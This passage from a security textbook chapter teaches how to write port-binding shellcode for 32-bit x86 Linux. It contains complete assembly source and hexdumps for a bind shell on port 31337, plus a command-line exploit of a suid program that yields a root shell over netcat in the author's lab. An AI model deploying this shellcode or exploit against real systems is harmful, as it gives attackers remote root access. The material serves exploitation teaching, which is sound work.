When exploiting a remote program, the shellcode we've designed so far won't work. The injected shellcode needs to communicate over the network to deliver an interactive root prompt. Port-binding shellcode will bind the shell to a network port where it listens for incoming connections. In the previous chapter, we used this kind of shellcode to exploit the tinyweb server. The following C code binds to port 31337 and listens for a TCP connection.
1. Port-Binding Shellcode
1.1. bind_port.c
Code View:
#include
#include
#include
#include
#include
int main(void) {
int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd
struct sockaddr_in host_addr, client_addr; // My address information
socklen_t sin_size;
int yes=1;
sockfd = socket(PF_INET, SOCK_STREAM, 0);
host_addr.sin_family = AF_INET; // Host byte order
host_addr.sin_port = htons(31337); // Short, network byte order
host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.
memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.
bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));
listen(sockfd, 4);
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
}
These familiar socket functions can all be accessed with a single Linux system call, aptly named socketcall(). This is syscall number 102, which has a slightly cryptic manual page.
Code View:
reader@hacking:~/booksrc $ grep socketcall /usr/include/asm-i386/unistd.h
#define __NR_socketcall 102
reader@hacking:~/booksrc $ man 2 socketcall
IPC(2) Linux Programmer's Manual IPC(2)
NAME
socketcall - socket system calls
SYNOPSIS
int socketcall(int call, unsigned long *args);
DESCRIPTION
socketcall() is a common kernel entry point for the socket system calls. call
determines which socket function to invoke. args points to a block containing
the actual arguments, which are passed through to the appropriate call.
User programs should call the appropriate functions by their usual
names. Only standard library implementors and kernel hackers need to
know about socketcall().
The possible call numbers for the first argument are listed in the linux/net.h include file.
1.2. From /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
So, to make socket system calls using Linux, EAX is always 102 for socketcall(), EBX contains the type of socket call, and ECX is a pointer to the socket call's arguments. The calls are simple enough, but some of them require a sockaddr structure, which must be built by the shellcode. Debugging the compiled C code is the most direct way to look at this structure in memory.
Code View:
reader@hacking:~/booksrc $ gcc -g bind_port.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 18
13 sockfd = socket(PF_INET, SOCK_STREAM, 0);
14
15 host_addr.sin_family = AF_INET; // Host byte order
16 host_addr.sin_port = htons(31337); // Short, network byte order
17 host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.
18 memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.
19
20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));
21
22 listen(sockfd, 4);
(gdb) break 13
Breakpoint 1 at 0x804849b: file bind_port.c, line 13.
(gdb) break 20
Breakpoint 2 at 0x80484f5: file bind_port.c, line 20.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, main () at bind_port.c:13
13 sockfd = socket(PF_INET, SOCK_STREAM, 0);
(gdb) x/5i $eip
0x804849b : mov DWORD PTR [esp+8],0x0
0x80484a3 : mov DWORD PTR [esp+4],0x1
0x80484ab : mov DWORD PTR [esp],0x2
0x80484b2 : call 0x8048394
0x80484b7 : mov DWORD PTR [ebp-12],eax
(gdb)
The first breakpoint is just before the socket call happens, since we need to check the values of PF_INET and SOCK_STREAM. All three arguments are pushed to the stack (but with mov instructions) in reverse order. This means PF_INET is 2 and SOCK_STREAM is 1.
Code View:
(gdb) cont
Continuing.
Breakpoint 2, main () at bind_port.c:20
20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));
(gdb) print host_addr
$1 = {sin_family = 2, sin_port = 27002, sin_addr = {s_addr = 0},
sin_zero = "\000\000\000\000\000\000\000"}
(gdb) print sizeof(struct sockaddr)
$2 = 16
(gdb) x/16xb &host_addr
0xbffff780: 0x02 0x00 0x7a 0x69 0x00 0x00 0x00 0x00
0xbffff788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb) p /x 27002
$3 = 0x697a
(gdb) p 0x7a69
$4 = 31337
(gdb)
The next breakpoint happens after the sockaddr structure is filled with values. The debugger is smart enough to decode the elements of the structure when host_addr is printed, but now you need to be smart enough to realize the port is stored in network byte order. The sin_family and sin_port elements are both words, followed by the address as a DWORD. In this case, the address is 0, which means any address can be used for binding. The remaining eight bytes after that are just extra space in the structure. The first eight bytes in the structure (shown in bold) contain all the important information.
The following assembly instructions perform all the socket calls needed to bind to port 31337 and accept TCP connections. The sockaddr structure and the argument arrays are each created by pushing values in reverse order to the stack and then copying ESP into ECX. The last eight bytes of the sockaddr structure aren't actually pushed to the stack, since they aren't used. Whatever random eight bytes happen to be on the stack will occupy this space, which is fine.
1.3. bind_port.s
Code View:
BITS 32
; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
mov esi, eax ; save socket FD in esi for later
; bind(s, [2, 31337, 0], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 = SYS_BIND = bind()
push edx ; Build sockaddr struct: INADDR_ANY = 0
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
int 0x80 ; eax = 0 on success
; listen(s, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102)
inc ebx
inc ebx ; ebx = 4 = SYS_LISTEN = listen()
push ebx ; argv: { backlog = 4,
push esi ; socket fd }
mov ecx, esp ; ecx = argument array
int 0x80
; c = accept(s, 0, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accept()
push edx ; argv: { socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; socket fd }
mov ecx, esp ; ecx = argument array
int 0x80 ; eax = connected socket FD
When assembled and used in an exploit, this shellcode will bind to port 31337 and wait for an incoming connection, blocking at the accept call. When a connection is accepted, the new socket file descriptor is put into EAX at the end of this code. This won't really be useful until it's combined with the shell-spawning code described earlier. Fortunately, standard file descriptors make this fusion remarkably simple.
2. Duplicating Standard File Descriptors
Standard input, standard output, and standard error are the three standard file descriptors used by programs to perform standard I/O. Sockets, too, are just file descriptors that can be read from and written to. By simply swapping the standard input, output, and error of the spawned shell with the connected socket file descriptor, the shell will write output and errors to the socket and read its input from the bytes that the socket received. There is a system call specifically for duplicating file descriptors, called dup2. This is system call number 63.
Code View:
reader@hacking:~/booksrc $ grep dup2 /usr/include/asm-i386/unistd.h
#define __NR_dup2 63
reader@hacking:~/booksrc $ man 2 dup2
DUP(2) Linux Programmer's Manual DUP(2)
NAME
dup, dup2 - duplicate a file descriptor
SYNOPSIS
#include
int dup(int oldfd);
int dup2(int oldfd, int newfd);
DESCRIPTION
dup() and dup2() create a copy of the file descriptor oldfd.
dup2() makes newfd be the copy of oldfd, closing newfd first if necessary.
The bind_port.s shellcode left off with the connected socket file descriptor in EAX. The following instructions are added in the file bind_shell_beta.s to duplicate this socket into the standard I/O file descriptors; then, the tiny_shell instructions are called to execute a shell in the current process. The spawned shell's standard input and output file descriptors will be the TCP connection, allowing remote shell access.
2.1. New Instructions from bind_shell1.s
Code View:
; dup2(connected socket, {all three standard I/O file descriptors})
mov ebx, eax ; Move socket FD in ebx.
push BYTE 0x3F ; dup2 syscall #63
pop eax
xor ecx, ecx ; ecx = 0 = standard input
int 0x80 ; dup(c, 0)
mov BYTE al, 0x3F ; dup2 syscall #63
inc ecx ; ecx = 1 = standard output
int 0x80 ; dup(c, 1)
mov BYTE al, 0x3F ; dup2 syscall #63
inc ecx ; ecx = 2 = standard error
int 0x80 ; dup(c, 2)
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push edx ; push some nulls for string termination.
push 0x68732f2f ; push "//sh" to the stack.
push 0x6e69622f ; push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.
push ecx ; push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
When this shellcode is assembled and used in an exploit, it will bind to port 31337 and wait for an incoming connection. In the output below, grep is used to quickly check for null bytes. At the end, the process hangs waiting for a connection.
Code View:
reader@hacking:~/booksrc $ nasm bind_shell_beta.s
reader@hacking:~/booksrc $ hexdump -C bind_shell_beta | grep --color=auto 00
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 89 c6 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a |..jfXCRfhzifS..j|
00000020 10 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd |.QV.....fCCSV...|
00000030 80 b0 66 43 52 52 56 89 e1 cd 80 89 c3 6a 3f 58 |..fCRRV......j?X|
00000040 31 c9 cd 80 b0 3f 41 cd 80 b0 3f 41 cd 80 b0 0b |1....?A...?A....|
00000050 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 |Rh//shh/bin..R..|
00000060 53 89 e1 cd 80 |S....|
00000065
reader@hacking:~/booksrc $ export SHELLCODE=$(cat bind_shell_beta)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff97f
reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\x7f\xf9\xff\xbf"x40')
[DEBUG] found a 33 byte note for user id 999
-------[ end of note data ]-------
From another terminal window, the program netstat is used to find the listening port. Then, netcat is used to connect to the root shell on that port.
Code View:
reader@hacking:~/booksrc $ sudo netstat -lp | grep 31337
tcp 0 0 *:31337 *:* LISTEN 25604/notesearch
reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337
localhost [127.0.0.1] 31337 (?) open
whoami
root
3. Branching Control Structures
The control structures of the C programming language, such as for loops and if-then-else blocks, are made up of conditional branches and loops in the machine language. With control structures, the repeated calls to dup2 could be shrunk down to a single call in a loop. The first C program written in previous chapters used a for loop to greet the world 10 times. Disassembling the main function will show us how the compiler implemented the for loop using assembly instructions. The loop instructions (shown below in bold) come after the function prologue instructions save stack memory for the local variable i. This variable is referenced in relation to the EBP register as [ebp-4].
Code View:
reader@hacking:~/booksrc $ gcc firstprog.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x08048374 : push ebp
0x08048375 : mov ebp,esp
0x08048377 : sub esp,0x8
0x0804837a : and esp,0xfffffff0
0x0804837d : mov eax,0x0
0x08048382 : sub esp,eax
0x08048384 : mov DWORD PTR [ebp-4],0x0
0x0804838b : cmp DWORD PTR [ebp-4],0x9
0x0804838f : jle 0x8048393
0x08048391 : jmp 0x80483a6
0x08048393 : mov DWORD PTR [esp],0x8048484
0x0804839a : call 0x80482a0
0x0804839f : lea eax,[ebp-4]
0x080483a2 : inc DWORD PTR [eax]
0x080483a4 : jmp 0x804838b
0x080483a6 : leave
0x080483a7 : ret
End of assembler dump.
(gdb)
The loop contains two new instructions: cmp (compare) and jle (jump if less than or equal to), the latter belonging to the family of conditional jump instructions. The cmp instruction will compare its two operands, setting flags based on the result. Then, a conditional jump instruction will jump based on the flags. In the code above, if the value at [ebp-4] is less than or equal to 9, execution will jump to 0x8048393, past the next jmp instruction. Otherwise, the next jmp instruction brings execution to the end of the function at 0x080483a6, exiting the loop. The body of the loop makes the call to printf(), increments the counter variable at [ebp-4], and finally jumps back to the compare instruction to continue the loop. Using conditional jump instructions, complex programming control structures such as loops can be created in assembly. More conditional jump instructions are shown below.
Instruction | Description |
---|
cmp , | Compare the destination operand with the source, setting flags for use with a conditional jump instruction. |
je | Jump to target if the compared values are equal. |
jne | Jump if not equal. |
jl | Jump if less than. |
jle | Jump if less than or equal to. |
jnl | Jump if not less than. |
jnle | Jump if not less than or equal to. |
jg jge | Jump if greater than, or greater than or equal to. |
jng jnge | Jump if not greater than, or not greater than or equal to. |
These instructions can be used to shrink the dup2 portion of the shellcode down to the following:
; dup2(connected socket, {all three standard I/O file descriptors})
mov ebx, eax ; Move socket FD in ebx.
xor eax, eax ; Zero eax.
xor ecx, ecx ; ecx = 0 = standard input
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
inc ecx
cmp BYTE cl, 2 ; Compare ecx with 2.
jle dup_loop ; If ecx <= 2, jump to dup_loop.
This loop iterates ECX from 0 to 2, making a call to dup2 each time. With a more complete understanding of the flags used by the cmp instruction, this loop can be shrunk even further. The status flags set by the cmp instruction are also set by most other instructions, describing the attributes of the instruction's result. These flags are carry flag (CF), parity flag (PF), adjust flag (AF), overflow flag (OF), zero flag (ZF), and sign flag (SF). The last two flags are the most useful and the easiest to understand. The zero flag is set to true if the result is zero, otherwise it is false. The sign flag is simply the most significant bit of the result, which is true if the result is negative and false otherwise. This means that, after any instruction with a negative result, the sign flag becomes true and the zero flag becomes false.
Abbreviation | Name | Description |
---|
ZF | zero flag | True if the result is zero. |
SF | sign flag | True if the result is negative (equal to the most significant bit of result). |
The cmp (compare) instruction is actually just a sub (subtract) instruction that throws away the results, only affecting the status flags. The jle (jump if less than or equal to) instruction is actually checking the zero and sign flags. If either of these flags is true, then the destination (first) operand is less than or equal to the source (second) operand. The other conditional jump instructions work in a similar way, and there are still more conditional jump instructions that directly check individual status flags:
Instruction | Description |
---|
jz | Jump to target if the zero flag is set. |
jnz | Jump if the zero flag is not set. |
js | Jump if the sign flag is set. |
jns | Jump is the sign flag is not set. |
With this knowledge, the cmp (compare) instruction can be removed entirely if the loop's order is reversed. Starting from 2 and counting down, the sign flag can be checked to loop until 0. The shortened loop is shown below, with the changes shown in bold.
; dup2(connected socket, {all three standard I/O file descriptors})
mov ebx, eax ; Move socket FD in ebx.
xor eax, eax ; Zero eax.
push BYTE 0x2 ; ecx starts at 2.
pop ecx
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx ; Count down to 0.
jns dup_loop ; If the sign flag is not set, ecx is not negative.
The first two instructions before the loop can be shortened with the xchg(exchange) instruction. This instruction swaps the values between the source and destination operands:
Instruction | Description |
---|
xchg , | Exchange the values between the two operands. |
This single instruction can replace both of the following instructions, which take up four bytes:
89 C3 mov ebx,eax
31 C0 xor eax,eax
The EAX register needs to be zeroed to clear only the upper three bytes of the register, and EBX already has these upper bytes cleared. So swapping the values between EAX and EBX will kill two birds with one stone, reducing the size to the following single-byte instruction:
93 xchg eax,ebx
Since the xchg instruction is actually smaller than a mov instruction between two registers, it can be used to shrink shellcode in other places. Naturally, this only works in situations where the source operand's register doesn't matter. The following version of the bind port shellcode uses the exchange instruction to shave a few more bytes off its size.
3.1. bind_shell.s
Code View:
BITS 32
; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; Ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
xchg esi, eax ; Save socket FD in esi for later.
; bind(s, [2, 31337, 0], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 = SYS_BIND = bind()
push edx ; Build sockaddr struct: INADDR_ANY = 0
push WORD 0x697a ; (in reverse order) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = server struct pointer
push BYTE 16 ; argv: { sizeof(server struct) = 16,
push ecx ; server struct pointer,
push esi ; socket file descriptor }
mov ecx, esp ; ecx = argument array
int 0x80 ; eax = 0 on success
; listen(s, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102)
inc ebx
inc ebx ; ebx = 4 = SYS_LISTEN = listen()
push ebx ; argv: { backlog = 4,
push esi ; socket fd }
mov ecx, esp ; ecx = argument array
int 0x80
; c = accept(s, 0, 0)
mov BYTE al, 0x66 ; socketcall (syscall #102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accept()
push edx ; argv: { socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; socket fd }
mov ecx, esp ; ecx = argument array
int 0x80 ; eax = connected socket FD
; dup2(connected socket, {all three standard I/O file descriptors})
xchg eax, ebx ; Put socket FD in ebx and 0x00000005 in eax.
push BYTE 0x2 ; ecx starts at 2.
pop ecx
dup_loop:
mov BYTE al, 0x3F ; dup2 syscall #63
int 0x80 ; dup2(c, 0)
dec ecx ; count down to 0
jns dup_loop ; If the sign flag is not set, ecx is not negative.
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve syscall #11
push edx ; push some nulls for string termination.
push 0x68732f2f ; push "//sh" to the stack.
push 0x6e69622f ; push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.
push edx ; push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
This assembles to the same 92-byte bind_shell shellcode used in the previous chapter.
Code View:
reader@hacking:~/booksrc $ nasm bind_shell.s
reader@hacking:~/booksrc $ hexdump -C bind_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|
00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|
00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?|
00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b|
00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....|
0000005c
reader@hacking:~/booksrc $ diff bind_shell portbinding_shellcode